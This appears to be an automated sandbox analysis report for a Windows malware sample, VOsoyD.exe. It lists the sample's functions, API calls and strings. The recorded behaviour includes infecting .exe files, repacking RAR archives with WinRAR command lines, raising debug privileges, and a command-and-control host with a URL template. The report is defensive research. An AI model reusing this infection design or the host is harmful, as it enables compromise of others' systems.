Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 3f381f320968a965ac30ffb1b754ce7ac620ef740d3ea2aa7759f4692c5e65e7
Instruction ID: 0434fea980263d92b43d54034a70bd82b4e77daf1d8377399a75037e731b1f7a
Opcode Fuzzy Hash: 3f381f320968a965ac30ffb1b754ce7ac620ef740d3ea2aa7759f4692c5e65e7
Instruction Fuzzy Hash: 601234B25087848FDB328F24CC85BEA7BF0EF12312F9845DDDD858B292D674A909CB55

Function 00B52B8C Relevance: 10.6, APIs: 7, Instructions: 74
threadstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00B52BA6
GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 00B52BB4
GetDriveTypeA.KERNEL32(?), ref: 00B52BD3
CreateThread.KERNEL32(00000000,00000000,Function_00002B7D,?,00000000,00000000), ref: 00B52BEE
lstrlen.KERNEL32(?), ref: 00B52BFB
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 00B52C16
CreateThread.KERNEL32(00000000,00000000,00B52845,00000000,00000000,00000000), ref: 00B52C3A

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
String ID:
API String ID: 1073171358-0
Opcode ID: b6e5ad59d5d8ea39c9e5745b684d5ded68d0408304e23a1c3032ef7e6a15eb73
Instruction ID: dfffbd43de992a2fd8ece62b77efd0a71b962b00890cf02e642ae6bee9b5ec61
Opcode Fuzzy Hash: b6e5ad59d5d8ea39c9e5745b684d5ded68d0408304e23a1c3032ef7e6a15eb73
Instruction Fuzzy Hash: E221C6B180138CAFE721AF649C84FAE7BEDFB0675AB140595FC4293151D7208D4ACB60

Function 00B51E6E Relevance: 30.4, APIs: 20, Instructions: 380
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,00B532B0,00000164,00B52986,?), ref: 00B51EB9
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 00B51ECD
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 00B51EF3
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 00B51F07
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000400), ref: 00B51F1D
FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 00B5201E
memset.MSVCRT ref: 00B520D8
memset.MSVCRT ref: 00B520EA
memcpy.MSVCRT ref: 00B5222D
UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B52238
CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B5224A
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B522C6
SetEndOfFile.KERNEL32(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B522CB
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B522DD
WriteFile.KERNEL32(000000FF,00B54008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B522F7
WriteFile.KERNEL32(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B5230D
CloseHandle.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B52322
UnmapViewOfFile.KERNEL32(?,?,00B532B0,00000164,00B52986,?), ref: 00B52340
FindCloseChangeNotification.KERNEL32(?,?,00B532B0,00000164,00B52986,?), ref: 00B5234E
CloseHandle.KERNEL32(000000FF,?,00B532B0,00000164,00B52986,?), ref: 00B52359

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: File$CloseView$HandlePointer$CreateUnmapWritememset$AttributesChangeFindFlushMappingNotificationmemcpy
String ID:
API String ID: 1893444929-0
Opcode ID: 2c9cd98593e0a4289a3c400c1bc01d8a065ddceaf8c9e1b253bdf4e0536f2655
Instruction ID: f95369e1c70144859f6a264915255c42713951d84a0588712fdfd3127a96f7f6
Opcode Fuzzy Hash: 2c9cd98593e0a4289a3c400c1bc01d8a065ddceaf8c9e1b253bdf4e0536f2655
Instruction Fuzzy Hash: 10F15871901208EFCB20DFA8D881BADBBF5FF09316F1045A9E909A72A1D730AD85CF54

Function 00B51973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144
filesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.SHLWAPI(00B54E5C,00000000,C:\Users\user\AppData\Local\Temp\VOsoyD.exe), ref: 00B51992
CreateFileA.KERNEL32(00B54E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00B519BA
Sleep.KERNEL32(00000064), ref: 00B519C6
wsprintfA.USER32 ref: 00B519EC
CopyFileA.KERNEL32(00B54E5C,?,00000000), ref: 00B51A00
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B51A1E
GetFileSize.KERNEL32(00B54E5C,00000000), ref: 00B51A2C
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00B51A46
ReadFile.KERNEL32(00B54E5C,00B54E60,00000000,?,00000000), ref: 00B51A65
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00B51A90
DeleteFileA.KERNEL32(?), ref: 00B51AA7
VirtualFree.KERNEL32(00B54E60,00000000,00008000), ref: 00B51AC1

Strings

%s%.8X.data, xrefs: 00B519E6
2, xrefs: 00B519CF
C:\Users\user\AppData\Local\Temp\VOsoyD.exe, xrefs: 00B5197C
C:\Users\user\AppData\Local\Temp\, xrefs: 00B519DB

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: File$CreateVirtual$AllocChangeCloseCopyDeleteExistsFindFreeNotificationPathReadSizeSleepwsprintf
String ID: %s%.8X.data$2$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\VOsoyD.exe
API String ID: 2523042076-4171117664
Opcode ID: 2f3d2bfbfde8415e10b6816e9a5348a3e183633de18069e6be5493044f521dbb
Instruction ID: 662ada9450322dbe55ffa9f145ffa959e5f2797aa457b7df49741b995a0d98ce
Opcode Fuzzy Hash: 2f3d2bfbfde8415e10b6816e9a5348a3e183633de18069e6be5493044f521dbb
Instruction Fuzzy Hash: 21515E71901219EFCB129F98CC84BAEBBF8EB04756F1449E9F925E2290C7309E48CB50

Function 00B528B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00B528D3
wsprintfA.USER32 ref: 00B528F7
memset.MSVCRT ref: 00B52925
wsprintfA.USER32 ref: 00B52940

Part of subcall function 00B529E2: memset.MSVCRT ref: 00B52A02
Part of subcall function 00B529E2: wsprintfA.USER32 ref: 00B52A1A
Part of subcall function 00B529E2: memset.MSVCRT ref: 00B52A44
Part of subcall function 00B529E2: lstrlen.KERNEL32(?), ref: 00B52A54
Part of subcall function 00B529E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 00B52A6C
Part of subcall function 00B529E2: strrchr.MSVCRT ref: 00B52A7C
Part of subcall function 00B529E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00B52A9F
Part of subcall function 00B529E2: lstrlen.KERNEL32(Documents and Settings), ref: 00B52AAE
Part of subcall function 00B529E2: memset.MSVCRT ref: 00B52AC6
Part of subcall function 00B529E2: memset.MSVCRT ref: 00B52ADA
Part of subcall function 00B529E2: FindFirstFileA.KERNEL32(?,?), ref: 00B52AEF
Part of subcall function 00B529E2: memset.MSVCRT ref: 00B52B13

strrchr.MSVCRT ref: 00B52959
lstrcmpiA.KERNEL32(00000001,exe), ref: 00B52974

Strings

%s\, xrefs: 00B5293A
%s%s, xrefs: 00B528F1
rar, xrefs: 00B52988
C:\Users\user\AppData\Local\Temp\, xrefs: 00B529B3
exe, xrefs: 00B5296D

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
String ID: %s%s$%s\$C:\Users\user\AppData\Local\Temp\$exe$rar
API String ID: 3004273771-898104377
Opcode ID: 263704aa980141ca73eaa2b2729fbdbaaaae71ee496c1155dde2ed77e420b1ad
Instruction ID: 75614b8093a809646dc4696b5436f47b0d70a6e452a44ce6dce7a1ae1ceb701c
Opcode Fuzzy Hash: 263704aa980141ca73eaa2b2729fbdbaaaae71ee496c1155dde2ed77e420b1ad
Instruction Fuzzy Hash: DD31A77194130D6BEB20A764DC85FDA77ECDF16752F0404E2FD45A3281EAB59ACC8B60

Function 00B51638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70
stringsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\,?,00000005,00000000), ref: 00B5164F
GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 00B5165B
GetModuleFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\VOsoyD.exe,00000104), ref: 00B5166E
CreateThread.KERNEL32(00000000,00000000,00B51099,00000000,00000000,00000000), ref: 00B516AC
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 00B516BD

Part of subcall function 00B5139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\VOsoyD.exe), ref: 00B513BC
Part of subcall function 00B5139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00B513DA
Part of subcall function 00B5139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00B51448

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Local\Temp\VOsoyD.exe), ref: 00B516E5

Strings

Documents and Settings, xrefs: 00B51696
C:\Windows\system32, xrefs: 00B51656
C:\Users\user\AppData\Local\Temp\VOsoyD.exe, xrefs: 00B51662, 00B51667, 00B516DD
C:\Users\user\AppData\Local\Temp\, xrefs: 00B51644

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\VOsoyD.exe$C:\Windows\system32$Documents and Settings
API String ID: 123563730-3081165445
Opcode ID: b6c525920c75a2d6ed213f124f2666f435cbb0c98bb82a67edaf2c5de1c93f05
Instruction ID: a67c7471cad224f852b42ede204463d0a1a018a10cc84c83fde9bd7a1ea2d586
Opcode Fuzzy Hash: b6c525920c75a2d6ed213f124f2666f435cbb0c98bb82a67edaf2c5de1c93f05
Instruction Fuzzy Hash: 4211D6725413147BDF616BAC9D49F9B3EEDEB057A7F0404D0FA09921E0CA718988CBA1

Function 00B51000 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,?,http://%s:%d/%s/%s,00B510E8,?), ref: 00B51018
GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,75A78400,?,http://%s:%d/%s/%s,00B510E8,?), ref: 00B51029
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 00B51038
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,http://%s:%d/%s/%s,00B510E8,?), ref: 00B5104B
UnmapViewOfFile.KERNEL32(00000000,?,http://%s:%d/%s/%s,00B510E8,?), ref: 00B51075
CloseHandle.KERNEL32(?,?,http://%s:%d/%s/%s,00B510E8,?), ref: 00B5108B
CloseHandle.KERNEL32(00000000,?,http://%s:%d/%s/%s,00B510E8,?), ref: 00B5108E

Strings

http://%s:%d/%s/%s, xrefs: 00B51000
ddos.dnsnb8.net, xrefs: 00B51026

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: File$CloseCreateHandleView$MappingSizeUnmap
String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1223616889-3273462101
Opcode ID: 38a22c2be5db90db54f2ada583bd33bb10647c5ba4b796a6b4de4fbfd121d2b9
Instruction ID: 7f69e805e109564fe83125617571c3ba593d2baf6e3a554d3226303cd542ef43
Opcode Fuzzy Hash: 38a22c2be5db90db54f2ada583bd33bb10647c5ba4b796a6b4de4fbfd121d2b9
Instruction Fuzzy Hash: 3401127150035DBFE6216F649C88F2B7BECDB44BDAF0849A9B645A31D0DA705E448A60

Function 00B52C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00B52C57

Part of subcall function 00B51973: PathFileExistsA.SHLWAPI(00B54E5C,00000000,C:\Users\user\AppData\Local\Temp\VOsoyD.exe), ref: 00B51992
Part of subcall function 00B51973: CreateFileA.KERNEL32(00B54E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00B519BA
Part of subcall function 00B51973: Sleep.KERNEL32(00000064), ref: 00B519C6
Part of subcall function 00B51973: wsprintfA.USER32 ref: 00B519EC
Part of subcall function 00B51973: CopyFileA.KERNEL32(00B54E5C,?,00000000), ref: 00B51A00
Part of subcall function 00B51973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B51A1E
Part of subcall function 00B51973: GetFileSize.KERNEL32(00B54E5C,00000000), ref: 00B51A2C
Part of subcall function 00B51973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00B51A46
Part of subcall function 00B51973: ReadFile.KERNEL32(00B54E5C,00B54E60,00000000,?,00000000), ref: 00B51A65

CreateThread.KERNEL32(00000000,00000000,00B52B8C,00000000,00000000,00000000), ref: 00B52C99
WaitForMultipleObjects.KERNEL32(00000001,00B516BA,00000001,000000FF,?,00B516BA,00000000), ref: 00B52CAC
VirtualFree.KERNEL32(02B10000,00000000,00008000,C:\Users\user\AppData\Local\Temp\VOsoyD.exe,00B54E5C,00B54E60,?,00B516BA,00000000), ref: 00B52CC2

Strings

C:\Users\user\AppData\Local\Temp\VOsoyD.exe, xrefs: 00B52C69

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
String ID: C:\Users\user\AppData\Local\Temp\VOsoyD.exe
API String ID: 2042498389-3545705787
Opcode ID: a4a1cfe25f3a239786b21f8812388e0011c6226a66913dcb438a34824e2a3e05
Instruction ID: 75c7339f9443f22a7333eca1b262f9f86a472f3e525777941896f8d7ed2e6e0e
Opcode Fuzzy Hash: a4a1cfe25f3a239786b21f8812388e0011c6226a66913dcb438a34824e2a3e05
Instruction Fuzzy Hash: 5F0171716423207AD61497959C0AFDF7EECEF02B66F5441D0BD05E62D2DAA09988C7A0

Function 00B514E1 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00B51504
VirtualQuery.KERNEL32(00B514E1,?,0000001C), ref: 00B51525
ExitProcess.KERNEL32 ref: 00B5157A

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: ExitHandleModuleProcessQueryVirtual
String ID:
API String ID: 3946701194-0
Opcode ID: 42b0aaae3097e1424321bfa8d12490fb6f7b387d17ebc4fd3c65d9e47e62fc99
Instruction ID: f4de591dfdbcc4bd39d064ee357271aa394594d1aa371cc94731055114df2f1b
Opcode Fuzzy Hash: 42b0aaae3097e1424321bfa8d12490fb6f7b387d17ebc4fd3c65d9e47e62fc99
Instruction Fuzzy Hash: 2C114C71900304DFCB51DFADB885B7977F8EB94757B1044FAE80297290EB708D859B50

Function 00B51915 Relevance: 4.5, APIs: 3, Instructions: 41
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00B51933
GetFileTime.KERNEL32(000000FF,?,?,?), ref: 00B51947

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: FileTimememset
String ID:
API String ID: 176422537-0
Opcode ID: 303225f3e7e0084111333d9ec6f82631d81edb8f390f3670880fdf96bb0b39a7
Instruction ID: 003e9e38b1587396ec491edcd0f7c46453c0a9fc7c957f40a85280e4e6290710
Opcode Fuzzy Hash: 303225f3e7e0084111333d9ec6f82631d81edb8f390f3670880fdf96bb0b39a7
Instruction Fuzzy Hash: 27F04432200309ABD7209E6ADC04BA777ECEB50762F0489BAFD16D1190E770D64ACBA0

Function 00B56159 Relevance: 2.6, APIs: 2, Instructions: 57
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 00B560DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00B56189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00B561A5

Memory Dump Source

Source File: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID:
API String ID: 1852963964-0
Opcode ID: a97deb8468372982b6dd54627c00a59d562c187ed78ba1b2f55e99edee6e2f6b
Instruction ID: f483c62189a7054dcc1b9802c6da936bd1a3a4430751c011182534b92a00760c
Opcode Fuzzy Hash: a97deb8468372982b6dd54627c00a59d562c187ed78ba1b2f55e99edee6e2f6b
Instruction Fuzzy Hash: A7116D31A00A59CFCF318F58CC817ED77E1EF45302FA844A8DE896B291DA722949CB94

Non-executed Functions

Function 00B5119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\VOsoyD.exe,?,?,?,?,?,?,00B513EF), ref: 00B511AB
OpenProcessToken.ADVAPI32(00000000,00000028,00B513EF,?,?,?,?,?,?,00B513EF), ref: 00B511BB
AdjustTokenPrivileges.ADVAPI32(00B513EF,00000000,?,00000010,00000000,00000000), ref: 00B511EB
CloseHandle.KERNEL32(00B513EF), ref: 00B511FA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00B513EF), ref: 00B51203

Strings

C:\Users\user\AppData\Local\Temp\VOsoyD.exe, xrefs: 00B511A5

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
String ID: C:\Users\user\AppData\Local\Temp\VOsoyD.exe
API String ID: 75692138-3545705787
Opcode ID: b7cb8c8e2535d0e04acedae1f21c1f4775560a9c71f146d4458643ede5c7c2bf
Instruction ID: 8f5da148ce2177ffa6b62f664bd34063b93e5fe1b59ef650316ce02b355ffab7
Opcode Fuzzy Hash: b7cb8c8e2535d0e04acedae1f21c1f4775560a9c71f146d4458643ede5c7c2bf
Instruction Fuzzy Hash: D001E875900309EFDB01DFD4CD89BAEBBF8FB04746F5044A9E605A2290DB715F449B50

Function 00B5239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239sleepfilestringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00B523CC
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00B52464
GetFileSize.KERNEL32(00000000,00000000), ref: 00B52472
CloseHandle.KERNEL32(?,00000000,00000000), ref: 00B524A8
memset.MSVCRT ref: 00B524B9
strrchr.MSVCRT ref: 00B524C9
wsprintfA.USER32 ref: 00B524DE
strrchr.MSVCRT ref: 00B524ED
memset.MSVCRT ref: 00B524F2
memset.MSVCRT ref: 00B52505
wsprintfA.USER32 ref: 00B52524
Sleep.KERNEL32(000007D0), ref: 00B52535
Sleep.KERNEL32(000007D0), ref: 00B5255D
memset.MSVCRT ref: 00B5256E
wsprintfA.USER32 ref: 00B52585
memset.MSVCRT ref: 00B525A6
wsprintfA.USER32 ref: 00B525CA
Sleep.KERNEL32(000007D0), ref: 00B525D0
Sleep.KERNEL32(000007D0,?,?), ref: 00B525E5
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00B525FC
CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 00B52611
SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 00B52642
WriteFile.KERNEL32(?,00000006,?,00000000), ref: 00B5265B
SetEndOfFile.KERNEL32 ref: 00B5266D
CloseHandle.KERNEL32(00000000), ref: 00B52676
RemoveDirectoryA.KERNEL32(?), ref: 00B52681

Strings

%s\, xrefs: 00B5257F
%s%s, xrefs: 00B524D8
-ibck, xrefs: 00B525BA
%s M %s -r -o+ -ep1 "%s" "%s\*", xrefs: 00B525C4
C:\Users\user\AppData\Local\Temp\, xrefs: 00B523B1, 00B523B6, 00B524CD
%s X -ibck "%s" "%s\", xrefs: 00B5251E

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user\AppData\Local\Temp\
API String ID: 2203340711-2750826870
Opcode ID: b7e945225117f590c2d794548a47c692171396afb1a06933f8295628db5da794
Instruction ID: 494f49fc4965c69c31766b4862422156cf722fe1277b3903422e4a1914db78e3
Opcode Fuzzy Hash: b7e945225117f590c2d794548a47c692171396afb1a06933f8295628db5da794
Instruction Fuzzy Hash: D281C271504344BBD7109F60DC85FABB7ECEB89B46F04059AFA44D32A0DB70DA4D8B66

Function 00B5274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00B52766
memset.MSVCRT ref: 00B52774
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 00B52787
wsprintfA.USER32 ref: 00B527AB

